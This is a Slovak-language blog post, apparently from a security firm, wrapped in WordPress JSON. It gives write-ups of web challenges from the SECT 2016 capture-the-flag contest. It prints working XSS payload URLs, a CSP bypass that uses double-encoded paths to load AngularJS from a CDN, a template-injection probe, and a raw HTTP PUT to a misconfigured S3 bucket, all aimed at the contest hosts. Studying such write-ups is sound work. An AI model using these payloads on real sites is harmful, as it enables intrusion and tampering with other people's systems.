{"id":2001,"date":"2016-09-12T13:19:58","date_gmt":"2016-09-12T13:19:58","guid":{"rendered":"http:\/\/nethemba.com\/cs\/ctf-sect-etf-rocks\/"},"modified":"2016-09-13T07:36:31","modified_gmt":"2016-09-13T07:36:31","slug":"ctf-sect-ctf-rocks","status":"publish","type":"post","link":"https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/","title":{"rendered":"CTF sect.ctf.rocks"},"content":{"rendered":"

Nieko\u013eko dn\u00ed nazad\u00a0sa konala vo \u0160v\u00e9dsku bezpe\u010dnostn\u00e1 konferencia SECT-T<\/a>, ktorej s\u00fa\u010das\u0165ou bolo CTF<\/a>.<\/span><\/p>\n

Vzh\u013eadom k tomu, \u017ee prebiehala po\u010das pracovn\u00fdch dn\u00ed sa CTF z\u00fa\u010dastnili len desiatky t\u00edmov (be\u017ene b\u00fdva \u00fa\u010das\u0165 nieko\u013ekon\u00e1sobne vy\u0161\u0161ia). Ako to na podobn\u00fdch CTF b\u00fdva, \u00falohy boli rozdelen\u00e9 do nieko\u013ek\u00fdch kateg\u00f3ri\u00ed, v tomto pr\u00edpade i\u0161lo o bin\u00e1rnu exploit\u00e1ciu, reverse engineering, weby a kateg\u00f3riu misc, ktor\u00e1 sa najviac podobala na forenzn\u00fa anal\u00fdzu.<\/span><\/p>\n

Najzauj\u00edmavej\u0161ie mi pri\u0161li \u00falohy v kateg\u00f3rii web, ktor\u00e9 naprogramoval Mathias Karlsson<\/a>, popul\u00e1rny researcher v oblasti webovej bezpe\u010dnosti a ke\u010f\u017ee pokr\u00fdvali modern\u00e9 \u00fatoky (in\u0161pirovan\u00e9 aj posledn\u00fdmi n\u00e1lezmi z r\u00f4znych bug bounty programov), pop\u00ed\u0161em ich rie\u0161enie podrobnej\u0161ie.<\/span><\/p>\n

Admin I – Web (100)<\/span><\/strong><\/h3>\n

V tejto najjednoduch\u0161ej \u00falohe bolo cie\u013eom spusti\u0165 potenci\u00e1lne \u0161kodliv\u00fd JavaScript k\u00f3d, ako „proof of concept“ to znamenalo zavolanie funkcie alert(1)<\/em>.<\/span><\/p>\n

HTML k\u00f3d so zadan\u00edm:<\/span><\/p>\n

\n

<!DOCTYPE html><\/span><\/code><\/p>\n

<html><\/span><\/code><\/div>\n
<head><\/span><\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <title>XSS1<\/title><\/span><\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <link rel=\"stylesheet\" href=\"\/custom.css\" \/><\/span><\/code><\/div>\n
<\/head><\/span><\/code><\/div>\n
<body><\/span><\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <main id=\"main\"><\/span><\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <p>Can you alert(1) <a href=\"?xss=stuff\">this page<\/a> (in firefox)?<\/p><\/span><\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <p>Send your XSS link for flag here:<\/p><\/span><\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <form method=\"post\" action=\"contact.php\"><\/span><\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <input type=\"text\" name=\"url\" value=\"\" placeholder=\"http:\/\/xss1.sect.ctf.rocks\/?xss=\"><\/span><\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <input type=\"submit\" name=\"submit\" value=\"Send\"><\/span><\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/form><\/span><\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/main><\/span><\/code><\/div>\n
<\/body><\/span><\/code><\/div>\n
<\/html><\/span><\/code><\/div>\n
<script><\/span><\/code><\/div>\n
dontrunthisscript();<\/span><\/code><\/div>\n
var a = \"stuff\";<\/span><\/code><\/div>\n

<\/script><\/span><\/code><\/code><\/p>\n

\n

<\/code>Tu dok\u00e1\u017eeme vklada\u0165 k\u00f3d do premennej a (stuff).<\/em>\u00a0Probl\u00e9m predstavuje funkcia dontrunthisscript()<\/em>, ktor\u00e1 sa s\u00edce zavol\u00e1, nie je v\u0161ak nikde definovan\u00e1. JavaScript interpreter vyp\u00ed\u0161e chybu a odmieta spusti\u0165 \u010fal\u0161\u00ed k\u00f3d. Rie\u0161enie je mo\u017en\u00e9 sa do\u010d\u00edta\u0165 napr\u00edklad na\u00a0https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/JavaScript\/Reference\/Functions<\/a>:<\/p>\n

Unlike functions defined by function expression or by the Function constructor, a function defined by a function declaration can be used before the function declaration itself. For example:<\/p>\n

foo(); \/\/ alerts FOO!<\/p>\n

function foo() {<\/p>\n

alert(‚FOO!‘);<\/p>\n

}<\/p>\n

V\u00fdsledn\u00fd exploit m\u00e1 tvar:<\/p>\n

http:\/\/xss1.sect.ctf.rocks\/?xss=stuff%22;alert(1);function%20dontrunthisscript(){};\/\/<\/span><\/code><\/a><\/p>\n

<\/div>\n

Admin II – Web (200)<\/span><\/h3>\n

\u00daloha je podobn\u00e1 ako predt\u00fdm, nie je v\u0161ak mo\u017en\u00e9 pou\u017ei\u0165 z\u00e1tvorky a znak rovn\u00e1 sa, k \u010domu by sta\u010dilo aplikova\u0165 zn\u00e1my enk\u00f3der<\/a>\u00a0pre nealfanumerick\u00fd payload.\u00a0<\/span>Ak si niekto spomenie na XSS challenge<\/a>\u00a0z roku 2014, rie\u0161en\u00edm bolo pou\u017ei\u0165 s\u00e9mantiku z ES6, konkr\u00e9tne:<\/span><\/p>\n

http:\/\/xss2.sect.ctf.rocks\/?xss=stuff%22;eval.call`${‚alert\\x281\\x29‘}`;\/\/<\/a><\/span><\/p>\n

Pre doplnkov\u00e9 inform\u00e1cie odpor\u00fa\u010dam pre\u0161tudova\u0165 si referencie.\u00a0<\/span><\/p>\n

Admin III – Web (400)<\/span><\/h3>\n

Zdrojov\u00fd HTML a zadanie je op\u00e4\u0165 takmer identick\u00e9, v\u0161imneme si v\u0161ak rozdiel v hlavi\u010dke:<\/span><\/p>\n

\n
\n<\/div>\n
$ curl -i „xss3.sect.ctf.rocks\/?xss=stuff“<\/span><\/div>\n
HTTP\/1.1 200 OK<\/span><\/div>\n
Server: nginx\/1.10.0 (Ubuntu)<\/span><\/div>\n
Date: Sat, 10 Sep 2016 10:17:35 GMT<\/span><\/div>\n
Content-Type: text\/html; charset=UTF-8<\/span><\/div>\n
Transfer-Encoding: chunked<\/span><\/div>\n
Connection: keep-alive<\/span><\/div>\n
Content-Security-Policy: default-src ‚none‘; style-src ‚self‘; img-src ‚self‘; script-src https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/jquery\/<\/span><\/div>\n
Set-Cookie: PHPSESSID=gva2nj4bg7vgmabh5hli2nkk41; path=\/<\/span><\/div>\n
Expires: Thu, 19 Nov 1981 08:52:00 GMT<\/span><\/div>\n
Cache-Control: no-store, no-cache, must-revalidate<\/span><\/div>\n
Pragma: no-cache<\/span><\/div>\n
<\/div>\n
<!DOCTYPE html><\/span><\/div>\n
<html><\/span><\/div>\n
<head><\/span><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <title>XSS3<\/title><\/span><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <link rel=“stylesheet“ href=“\/custom.css“ \/><\/span><\/div>\n
<\/head><\/span><\/div>\n
<body><\/span><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <main id=“main“><\/span><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <p>Can you alert(1) <a href=“?xss=stuff“>this page<\/a> (in firefox)?<\/p><\/span><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <p>Send your XSS link for flag here:<\/p><\/span><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <form method=“post“ action=“contact.php“><\/span><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <input type=“text“ name=“url“ value=““ placeholder=“http:\/\/xss3.sect.ctf.rocks\/?xss=“><\/span><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <input type=“submit“ name=“submit“ value=“Send“><\/span><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/form><\/span><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/main><\/span><\/div>\n
<\/body><\/span><\/div>\n
<\/html><\/span><\/div>\n
stuff<\/span><\/div>\n
\n
\n<\/div>\n
\n

Ako vid\u00edme, cie\u013eom je prekona\u0165 CSP, ktor\u00e9 je implementovan\u00e9 nasledovne:<\/p>\n

default-src ‚none‘; style-src ‚self‘; img-src ‚self‘; script-src https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/jquery\/<\/p>\n

T\u00fdmto je mo\u017en\u00e9 nalinkova\u0165 JavaScript jedine z danej CDN siete, kde sa be\u017ene nach\u00e1dzaj\u00fa aj u\u017e neaktu\u00e1lne verzie. P\u00f4vodne som chcel postupova\u0165 pou\u017eit\u00edm starej deravej kni\u017enice „JQuery“, ke\u010f\u017ee je v\u0161ak nastaven\u00e9 obmedzenie aj pre vlastn\u00e9 elementy a selektory, ne\u0161lo t\u00fato techniku pou\u017ei\u0165.<\/p>\n<\/div>\n

Zauj\u00edmav\u00e9 sp\u00f4soby, ako ob\u00eds\u0165 CSP s\u00fa pop\u00edsan\u00e9 op\u00e4\u0165 na XSSChallengeWiki<\/a>.<\/span><\/p>\n

Jeden z nich sa nach\u00e1dza ni\u017e\u0161ie:<\/span><\/p>\n

\n
\n<\/div>\n
„ng-app ng-csp><\/span><\/div>\n
<base href=\/\/ajax.googleapis.com\/ajax\/libs\/><script\u00a0src=angularjs\/1.0.1\/angular.js><\/script><\/span><\/div>\n
<script src=prototype\/1.7.2.0\/prototype.js><\/script>{{$on.curry.call().alert(1337<\/span><\/div>\n
\n
\n<\/div>\n

Postup je zdokumentovan\u00fd napr\u00edklad tu<\/a>, strana 17.<\/span><\/p>\n

Tu ale\u00a0nast\u00e1va probl\u00e9m, ke\u010f\u017ee CSP je limitovan\u00e9 pre cestu \/ajax\/libs\/jquery.<\/em>\u00a0My v\u0161ak potrebujeme pristupova\u0165 do \/ajax\/libs\/angularjs\/<\/em>.<\/span><\/p>\n

Ak si uvedom\u00edme, \u017ee CSP m\u00f4\u017ee by\u0165 zranite\u013en\u00e9 na double encoding<\/em>, \u00falohu m\u00e1me vyrie\u0161en\u00fa:<\/span><\/p>\n

\n
\n<\/div>\n
<script src=“https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/jquery\/..%252fangular.js\/1.0.1\/angular.js“><\/script><\/span><\/div>\n
<script src=“https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/jquery\/..%252fprototype\/1.7.2\/prototype.js“><\/script><\/span><\/div>\n
<div ng-app ng-csp><\/span><\/div>\n
{{$on.curry.call().alert(1)}}<\/span><\/div>\n
<\/div><\/span><\/div>\n
\n
\n<\/div>\n

Pre prehliada\u010d plat\u00ed, \u017ee \/test%2f1337<\/em> je interpretovan\u00fd rovnako ako \/test\/1337<\/em>. Nie je to ale pr\u00edpad pre implement\u00e1ciu CSP, ktor\u00e1 pova\u017euje \/test%2f1337<\/em>\u00a0za s\u00fabor nach\u00e1dzaj\u00faci sa v adres\u00e1ri\u00a0\/<\/em>, \u010do moment\u00e1lne predstavuje bezpe\u010dnostn\u00fa dieru v aktu\u00e1lnej verzii prehliada\u010da Firefox.<\/span><\/p>\n

Web 300 Techno_Tech<\/span><\/h3>\n

Zranite\u013enos\u0165, ktor\u00fa sa mi po p\u00e1r sekund\u00e1ch podarilo objavi\u0165 sa t\u00fdkala Template Injection. Je identick\u00e1 ako pri ned\u00e1vnom hacku webu pre Uber<\/a>, kde sa program\u00e1tor rozhodol nap\u00edsa\u0165 vlastn\u00fd template pre 404 handler, ktor\u00fd vyzer\u00e1 nasledovne:<\/span><\/p>\n

\n
\n<\/div>\n
\u00a0 \u00a0 \u00a0 \u00a0template = “‘<\/span><\/div>\n
<\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 {%% block body %%}<\/span><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <div class=“center-content error“><\/span><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <h1>Oops! That page doesn’t exist.<\/h1><\/span><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <h3>%s<\/h3><\/span><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/div><\/span><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 {%% endblock %%}<\/span><\/div>\n
\n
\n<\/div>\n
<\/div>\n

Pri pou\u017eit\u00ed URL \/test{{9*9}}<\/em>\u00a0n\u00e1m webov\u00fd server vr\u00e1ti odpove\u010f o neexistenci s\u00faboru test81<\/em>. Tento poznatok je mo\u017en\u00e9 eskalova\u0165 \u010falej a v\u00e4\u010d\u0161inou u\u017e dok\u00e1\u017ee \u00fato\u010dn\u00edk pre\u010d\u00edta\u0165 alebo zapisova\u0165 do \u013eubovoln\u00e9ho s\u00faboru na disku, pr\u00edpadne zmenou konfigura\u010dn\u00e9ho s\u00faboru spusti\u0165 \u013eubovoln\u00fd pr\u00edkaz s pr\u00e1vami webov\u00e9ho pou\u017e\u00edvate\u013ea. Moje rie\u0161enie je pop\u00edsan\u00e9 tu<\/a>, in\u0161pirovan\u00e9 blogom, uveden\u00fdm v referenci\u00e1ch, kde sa do\u010d\u00edtate podrobnej\u0161ie detaily.<\/span><\/p>\n

iFile – Web (250)<\/span><\/h3>\n

Webov\u00e1 str\u00e1nka obsahovala odkaz http:\/\/filer.sect.ctf.rocks\/?bulkfile=http:\/\/files.filer.sect.ctf.rocks\/example.txt<\/a>, v s\u00fabore example.txt<\/em>\u00a0sa nach\u00e1dzali n\u00e1zvy dvoch s\u00faborov, obsah prv\u00e9ho z nich sa vlo\u017eil do hlavi\u010dky, druh\u00fd tvoril text str\u00e1nky.<\/span><\/p>\n

Samotn\u00e1 str\u00e1nka nevykazovala nijak\u00e9 zn\u00e1me bezpe\u010dnostn\u00e9 nedostatky. „files.filer.sect.ctf.rocks“ <\/em>je Amazon S3 Bucket<\/a>\u00a0a pokia\u013e nie s\u00fa dobre nastaven\u00e9 opr\u00e1vnenia, je mo\u017en\u00e9 pre anonymn\u00e9ho \u00fato\u010dn\u00edka zisti\u0165 zoznam s\u00faborov v buckete, skop\u00edrova\u0165 ich alebo uploadn\u00fa\u0165. Prakticky bola t\u00e1to zranite\u013enos\u0165 demon\u0161trovan\u00e1 napr\u00edklad tu<\/a>\u00a0a tu<\/a>\u00a0pre weby Hackerone a Harvest.<\/span><\/p>\n

Rie\u0161enie:<\/span><\/p>\n

\n

$ telnet files.filer.sect.ctf.rocks 80<\/span><\/p>\n

Trying 54.231.17.73…<\/span><\/div>\n
Connected to s3-1-w.amazonaws.com.<\/span><\/div>\n
Escape character is ‚^]‘.<\/span><\/div>\n
PUT \/abc.txt HTTP\/1.1<\/span><\/div>\n
Host: files.filer.sect.ctf.rocks<\/span><\/div>\n
Date: Sat, 10 Sep 2016 09:21:02 GMT<\/span><\/div>\n
Content-Type: text\/plain<\/span><\/div>\n
Content-Length: 32<\/span><\/div>\n
\/files\/flag.php<\/span><\/div>\n
\/files\/flag.php<\/span><\/div>\n
HTTP\/1.1 200 OK<\/span><\/div>\n
x-amz-id-2: 3GLe0t1bgnmvrVbZic0CAjd8x5mwPBJRR6stEJj+e6\/7x+8tZe0jteImuhxukQKZJFa6z0yOnrY=<\/span><\/div>\n
x-amz-request-id: 3F732267A35970EC<\/span><\/div>\n
Date: Sat, 10 Sep 2016 09:21:26 GMT<\/span><\/div>\n
ETag: „c1f1b2f47ed3ad9c7785dc233fcb1ce5“<\/span><\/div>\n
Content-Length: 0<\/span><\/div>\n
Server: AmazonS3<\/span><\/div>\n
\n
\n<\/div>\n
<\/div>\n

Po nav\u0161t\u00edven\u00ed http:\/\/filer.sect.ctf.rocks\/?bulkfile=http:\/\/files.filer.sect.ctf.rocks\/abc.txt<\/a>\u00a0sa zobrazilo rie\u0161enie.<\/span><\/p>\n

Z\u00e1ver:<\/span><\/h3>\n

Ke\u010f\u017ee na\u010dasovanie s\u00fa\u0165a\u017ee nebolo pre m\u0148a pr\u00e1ve najlep\u0161ie a venoval som s\u00fa\u0165a\u017ei iba nieko\u013eko hod\u00edn vo\u013en\u00e9ho \u010dasu, skon\u010dil som len v prvej desiatke. \u00dalohy neboli a\u017e tak n\u00e1ro\u010dn\u00e9 ako v pr\u00edpade in\u00fdch prest\u00ed\u017enych CTF (PPP, CSAW, ASIS), napriek tomu predstavovali v\u00fdzvu a pod\u013ea m\u0148a reflektovali dostato\u010dne aj stupe\u0148 komplexity, ktor\u00e1 je be\u017en\u00e1 pri hackovan\u00ed r\u00f4znych bug bounty programov.<\/span><\/p>\n

Pokia\u013e by ste si chceli \u00falohy sami vysk\u00fa\u0161a\u0165, ich mirror je v \u010dase p\u00edsania tohto \u010dl\u00e1nku k dispoz\u00edcii na str\u00e1nke http:\/\/mirror.sect.ctf.rocks<\/a>.<\/span><\/p>\n

Referencie:<\/span><\/strong><\/h4>\n
https:\/\/cure53.de\/es6-for-penetration-testers.pdf<\/span><\/a><\/div>\n
https:\/\/github.com\/73696e65\/ctf-notes\/tree\/master\/2016-sect.ctf.rocks<\/span><\/a><\/div>\n
https:\/\/github.com\/cure53\/XSSChallengeWiki\/wiki<\/span><\/a><\/div>\n
https:\/\/conference.hitb.org\/hitbsecconf2016ams\/materials\/D1T2%20-%20Michele%20Spagnuolo%20and%20Lukas%20Weichselbaum%20-%20CSP%20Oddities.pdf<\/span><\/a><\/div>\n
https:\/\/nvisium.com\/blog\/2016\/03\/09\/exploring-ssti-in-flask-jinja2\/<\/span><\/a><\/div>\n
https:\/\/nvisium.com\/blog\/2016\/03\/11\/exploring-ssti-in-flask-jinja2-part-ii\/<\/span><\/a><\/div>\n
https:\/\/blog.0daylabs.com\/2016\/09\/09\/bypassing-csp\/<\/a><\/span><\/div>\n","protected":false},"excerpt":{"rendered":"

Nieko\u013eko dn\u00ed nazad\u00a0sa konala vo \u0160v\u00e9dsku bezpe\u010dnostn\u00e1 konferencia SECT-T, ktorej s\u00fa\u010das\u0165ou bolo CTF. Vzh\u013eadom k tomu, \u017ee prebiehala po\u010das pracovn\u00fdch dn\u00ed sa CTF z\u00fa\u010dastnili len desiatky t\u00edmov (be\u017ene b\u00fdva \u00fa\u010das\u0165 nieko\u013ekon\u00e1sobne vy\u0161\u0161ia). Ako to na podobn\u00fdch CTF b\u00fdva, \u00falohy boli rozdelen\u00e9 do nieko\u013ek\u00fdch kateg\u00f3ri\u00ed, v tomto pr\u00edpade i\u0161lo o bin\u00e1rnu exploit\u00e1ciu, reverse engineering, weby a […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[12],"tags":[1014,849,1016],"class_list":["post-2001","post","type-post","status-publish","format-standard","hentry","category-uncategorized-cs","tag-ctf-cs","tag-exploits-cs","tag-web-security"],"yoast_head":"\nCTF sect.ctf.rocks - Nethemba<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/\" \/>\n<meta property=\"og:locale\" content=\"cs_CZ\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"CTF sect.ctf.rocks - Nethemba\" \/>\n<meta property=\"og:description\" content=\"Nieko\u013eko dn\u00ed nazad\u00a0sa konala vo \u0160v\u00e9dsku bezpe\u010dnostn\u00e1 konferencia SECT-T, ktorej s\u00fa\u010das\u0165ou bolo CTF. Vzh\u013eadom k tomu, \u017ee prebiehala po\u010das pracovn\u00fdch dn\u00ed sa CTF z\u00fa\u010dastnili len desiatky t\u00edmov (be\u017ene b\u00fdva \u00fa\u010das\u0165 nieko\u013ekon\u00e1sobne vy\u0161\u0161ia). Ako to na podobn\u00fdch CTF b\u00fdva, \u00falohy boli rozdelen\u00e9 do nieko\u013ek\u00fdch kateg\u00f3ri\u00ed, v tomto pr\u00edpade i\u0161lo o bin\u00e1rnu exploit\u00e1ciu, reverse engineering, weby a […]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/\" \/>\n<meta property=\"og:site_name\" content=\"Nethemba\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/nethemba\" \/>\n<meta property=\"article:published_time\" content=\"2016-09-12T13:19:58+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2016-09-13T07:36:31+00:00\" \/>\n<meta name=\"author\" content=\"Pavol Lupt\u00e1k\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@nethemba\" \/>\n<meta name=\"twitter:site\" content=\"@nethemba\" \/>\n<meta name=\"twitter:label1\" content=\"Napsal(a)\" \/>\n\t<meta name=\"twitter:data1\" content=\"Pavol Lupt\u00e1k\" \/>\n\t<meta name=\"twitter:label2\" content=\"Odhadovan\u00e1 doba \u010dten\u00ed\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minut\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/\"},\"author\":{\"name\":\"Pavol Lupt\u00e1k\",\"@id\":\"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234\"},\"headline\":\"CTF sect.ctf.rocks\",\"datePublished\":\"2016-09-12T13:19:58+00:00\",\"dateModified\":\"2016-09-13T07:36:31+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/\"},\"wordCount\":1396,\"commentCount\":0,\"keywords\":[\"ctf\",\"exploits\",\"web security\"],\"articleSection\":[\"Uncategorized @cs\"],\"inLanguage\":\"cs\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/\",\"url\":\"https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/\",\"name\":\"CTF sect.ctf.rocks - Nethemba\",\"isPartOf\":{\"@id\":\"https:\/\/nethemba.com\/de\/#website\"},\"datePublished\":\"2016-09-12T13:19:58+00:00\",\"dateModified\":\"2016-09-13T07:36:31+00:00\",\"author\":{\"@id\":\"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234\"},\"breadcrumb\":{\"@id\":\"https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/#breadcrumb\"},\"inLanguage\":\"cs\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/nethemba.com\/cs\/home-new-2025\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"CTF sect.ctf.rocks\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/nethemba.com\/de\/#website\",\"url\":\"https:\/\/nethemba.com\/de\/\",\"name\":\"Nethemba\",\"description\":\"We care about your security\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/nethemba.com\/de\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"cs\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234\",\"name\":\"Pavol Lupt\u00e1k\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"cs\",\"@id\":\"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"caption\":\"Pavol Lupt\u00e1k\"},\"sameAs\":[\"https:\/\/www.nethemba.com\/\"],\"url\":\"https:\/\/nethemba.com\/cs\/author\/nethemba-admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"CTF sect.ctf.rocks - Nethemba","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/","og_locale":"cs_CZ","og_type":"article","og_title":"CTF sect.ctf.rocks - Nethemba","og_description":"Nieko\u013eko dn\u00ed nazad\u00a0sa konala vo \u0160v\u00e9dsku bezpe\u010dnostn\u00e1 konferencia SECT-T, ktorej s\u00fa\u010das\u0165ou bolo CTF. Vzh\u013eadom k tomu, \u017ee prebiehala po\u010das pracovn\u00fdch dn\u00ed sa CTF z\u00fa\u010dastnili len desiatky t\u00edmov (be\u017ene b\u00fdva \u00fa\u010das\u0165 nieko\u013ekon\u00e1sobne vy\u0161\u0161ia). Ako to na podobn\u00fdch CTF b\u00fdva, \u00falohy boli rozdelen\u00e9 do nieko\u013ek\u00fdch kateg\u00f3ri\u00ed, v tomto pr\u00edpade i\u0161lo o bin\u00e1rnu exploit\u00e1ciu, reverse engineering, weby a […]","og_url":"https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/","og_site_name":"Nethemba","article_publisher":"https:\/\/www.facebook.com\/nethemba","article_published_time":"2016-09-12T13:19:58+00:00","article_modified_time":"2016-09-13T07:36:31+00:00","author":"Pavol Lupt\u00e1k","twitter_card":"summary_large_image","twitter_creator":"@nethemba","twitter_site":"@nethemba","twitter_misc":{"Napsal(a)":"Pavol 